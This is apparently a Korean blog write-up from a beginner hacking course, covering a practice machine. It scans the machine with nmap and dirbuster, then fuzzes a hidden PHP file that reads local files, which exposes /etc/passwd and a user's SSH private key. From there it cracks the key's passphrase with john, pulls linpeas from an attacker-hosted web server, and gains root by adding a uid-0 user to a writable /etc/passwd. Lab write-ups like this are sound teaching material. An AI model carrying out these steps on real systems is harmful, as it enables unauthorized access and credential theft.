정보 수집
먼저 해당 머신의 주소로 nmap을 사용하여 포트 스캔을 해보자
어떤 포트가 있을지 모르니 -p- 옵션을 사용하여 모든 포트를 스캔해 보았다.
nmap -sCV -p- [ip주소]
#-sV: 해당 포트의 서비스정보와 버전정보를 스캔함
#-sC: 기본 취약점 스크립트를 사용해 해당 포트의 취약점까지 같이 스캔함
#-p-: 모든 포트를 스캔함
22번 포트의 ssh와 80번 포트의 http가 열려 있음을 확인할 수 있다.
웹서버가 열려 있음을 알았으니 접속을 해보자
apach의 기본 index.html 페이지를 확인할 수 있다.
이것을 보고 해당 웹 사이트는 아직 제대로 된 서비스를 하지 않고 있나?라는 추측을 할 수 있다.
해당 사이트를 dirbuster를 사용하여 디렉터리 스캔을 진행해 보았다.
터미널에서 dirbuster라고 입력을 하게 되면 해당 GUI를 확인할 수 있다.
기본적인 작동을 위해서는 Target URL, File whith list of dirs/files를 입력해 줘야 한다.
Target URL에는 우리가 접속한 웹사이트의 주소를 넣으면 되고
File whith list of dirs/files에는 /usr/share/wordlists/dirbuster/ 경로의 원하는 파일을 선택하여 넣어주면 된다
더 빠른 스캔을 위해 Go Faster를 체크하고 실행을 시켰다
모든 스캔이 완료가 되면 이러한 정보를 확인할 수 있다.
위에서 얻은 정보로 모든 경로에 접속을 해보면 대부분의 경로는 다 404 에러를 확인하게 되는데
/secret/evil.php에 접속하게 되면 이렇게 아무것도 뜨지 않는 페이지를 확인할 수 있다.
파일이나 경로에 문제가 생긴다면 icons페이지처럼 에러가 출력돼야 정상이다
하지만 evil.php처럼 아무것도 출력되지 않는다는 것은 제대로 실행은 되지만
웹 브라우저 상에서는 출력할 게 없다고 생각할 수 있다.
Exploit
evil.php가 뭘 하는 php 파일인지는 모르기에 fuzzing을 해보기로 했다
fuzzing이란 값을 무작위로 입력해 보고 입력에 따라 일어나는 상황을 확인하는 것이다
fuzzing을 위해 칼리리눅스에 있는 ffuf 툴을 사용해 볼 것이다
ffuf -u http://10.10.139.58/secret/evil.php?FUZZ=ls -w rockyou.txt -fs 0
# -u : url 입력을 위한 옵션
# ?FUZZ : 해당 부분에 wordlist의 단어들이 들어가서 확인함
# -w : wordlist를 입력하기 위한 옵션
# -fs 0 : 파일의 사이즈가 0인 경우 출력을 하지 않기 위함
# rockyou.txt는 /usr/share/wordlists 경로에 rockyou.txt.gz로 압축되어 있는데 해당 압축을 풀고 사용하면 된다
위의 명령어는 해당 페이지에서 파라미터에 값을 받으면 값을 터미널에서 실행시켜 출력한다는 시나리오로 생각하고 만든 명령어이다.
해당 시나리오가 틀렸을 확률도 있기에 여러 시나리오를 만든 후 여러 터미널에서 동시에 fuzzing을 해보면 된다
ffuf -u http://10.10.139.58/secret/evil.php?FUZZ=/etc/passwd -w rockyou.txt -fs 0
위의 명령어는 파일을 읽어 출력한다는 시나리오의 명령어이다.
2번째 시나리오의 명령어에서 fuzzing이 된 것을 확인할 수 있다.
command라는 파라미터를 사용하고 있는 것을 알 수 있다.
URL에 command를 사용하여 입력해 보자
이러한 화면을 확인할 수 있다.
해당 화면에 출력된 것은 /etc/passwd를 출력한 것임을 알 수 있는데 여기서 중요하게 봐야 할 것은
실제 유저 정보이다
우리는 실제 유저를 해킹해 해당 시스템에 접속한 후 권한 상승을 하여 시스템을 해킹할 수 있다.
그렇기에 실제 유저에 대해 확인하는 것이 중요하다
실제 유저임을 알 수 있는 방법은 uid가 1000 이상인 경우나 /bin/bash쉘을 사용하는 경우 대부분 실제 유저이다
해당 조건에 만족하는 유저로는 mowree라는 유저를 찾을 수 있다.
이제 mowree의 계정으로 어떻게 접속할지에 대해 고민해야 한다.
가장 기본적으로 ssh를 통한 원격 접속이 있다.
ssh원격 접속을 하려면 두 가지 방법이 있는데 해당 유저의 pw를 알거나 해당 유저의 개인키를 소유하는 것이다
먼저 1번 방법으로 진행해 보자
mowree의 pw칸에는 x표시가 되어 있다. 이 말은 /etc/shadow를 참조한다는 뜻이다
해당 파일을 읽어보자
아무것도 확인할 수 없다
이유는 모르지만 아마 /etc/passwd 파일은 접근이 불가능하게 되어 있나 보다
그럼 2번 방법을 사용해 보자
rsa개인키는 유저의 홈디렉터리의 .ssh/경로의 id_rsa파일로 저장되어 있다.
해당 파일을 화면에 출력해 보자
ssh 개인키가 있음을 확인할 수 있다.
현재 웹사이트에 개인키가 올라간 것이기 때문에 wget을 사용해 내 PC로 옮길 수 있다
wget [URL주소] -O [저장할 이름]
이제 ssh로 접속을 해보자
원래는 개인키로 ssh접속하는 경우 비밀번호를 묻지 않는다
하지만 지금 비밀번호를 묻는 이유는 해당 키의 권한이 잘못됐기 때문이다
사용하려는 ssh공개키는 무조건 권한이 600으로 정해져 있어야 한다
잘못된 권한의 sshkey
권한 변경을 마쳤다면 다시 ssh를 접속해 보자
이번에는 passphrase를 묻는다
passphrase란 개인키의 보안을 위해 있는 비밀번호의 개념이다
passphrase를 알아내기 위해서는 john the repper를 사용하면 된다
먼저 john을 사용하기 전에 기존의 개인키를 바로 사용하면 제대로 된 비밀번호를 알아낼 수 없으므로
john에 맞게 변경을 시켜줄 것이다
변경을 위해서는 ssh2john을 사용하면 된다
ssh2john sshkey > hash
#ssh2john을 사용하여 sshkey파일을 hash라는 이름의 파일로 만들어 줌
만든 hash파일로 john을 사용하여 비밀번호를 알아내보자
john --wordlist=rockyou.txt hash
#wordlist는 rockyou.txt로 사용하였음
passphrase가 unicorn임을 알아냈다
다시 ssh접속을 시도해 보자
성공적으로 mowree의 계정에 접속하였다
Post-Exploit
먼저 권한 상승을 위한 여러 정보들을 수집해야 한다
기본적으로 유저 홈 디렉터리, setuid 파일, /etc/passwd 등이 있다
홈 디렉터리
setuid 파일
/etc/passwd
여러 정보들을 확인해 봤지만 취약점을 찾기가 쉽지 않다
이럴 때 사용할 수 있는 도구가 linpeas라는 도구다
linpeas란 리눅스에서 권한 상승에 도움 될만한 것들을 자동으로 스캔해서 알려주는 도구다
해당 도구는 https://github.com/carlospolop/PEASS-ng/releases/tag/20230910-ae32193f/ 에서 다운로드할 수 있다.
linpeas를 공격자 pc에서 피해자 pc로 옮기기 위해서는 공격자 pc에 웹서버를 열고 피해자 pc에서 접속 후 wget을 통해
다운로드할 수 있게 하면 된다
공격자 PC
python -m http.server 80
피해자 PC
wget [http://내ip/가져올이름]
linpeas가 설치된 것을 확인할 수 있다.
linpeas에 실행 권한을 주고 실행을 해보자
실행을 하게 되면 상당히 많은 취약점들을 확인할 수 있는데 해당 정보를 통해 중요한 정보를 찾아보자
위에서부터 중요도를 높게 보면 된다
제일 먼저 red/yellow를 찾고 없다면 red를 찾는 식으로 중요한 정보를 찾아내면 된다.
그럼 먼저 red/yellow인 정보를 찾아보자
가장 중요한 정보로서는 /etc/passwd 파일이 쓰기가 가능한 파일임을 알려준다
실제 쓰기 권한이 있음을 확인할 수 있다
해당 파일을 수정해 보자
루트와 동일한 정보를 가진 유저를 만들어준 뒤 비밀번호를 쉬운 것으로 넣어주면 된다
여기서 주의할 점은 비밀번호를 1234 이런 식으로 넣어주는 것이 아닌 해시를 해서 넣어줘야 한다
test:1234:0:0:root:/root:/bin/bash # X
test:(hash값):0:0:root:/root:/bin/bash # O
해시된 비밀번호를 만들기 위해서는 mkpasswd 명령어를 사용하면 된다
mkpasswd --method=[hash알고리즘] --stdin
해시된 비밀번호를 password자리에 입력한 후 저장하면 끝이다
이제 su test 명령어를 사용해 root 권한을 가진 유저로 계정을 변경하자
root권한을 얻는 데 성공했다
'Hacking > Hacking Beginner Class (normaltic)' 카테고리의 다른 글
[해킹 비기너 클래스] Drill Course 2주차 정리 (2) | 2023.09.21 |
---|---|
[해킹 비기너 클래스] Drill Course 1주차 Practice (0) | 2023.09.19 |
[해킹 비기너 클래스] 8주차 정리 (metasploit) (0) | 2023.09.13 |
[해킹 비기너 클래스] 7주차 Practice (Post-exploit Task 2) (0) | 2023.09.06 |
[해킹 비기너 클래스] 7주차 정리 (post-exploit) (0) | 2023.09.04 |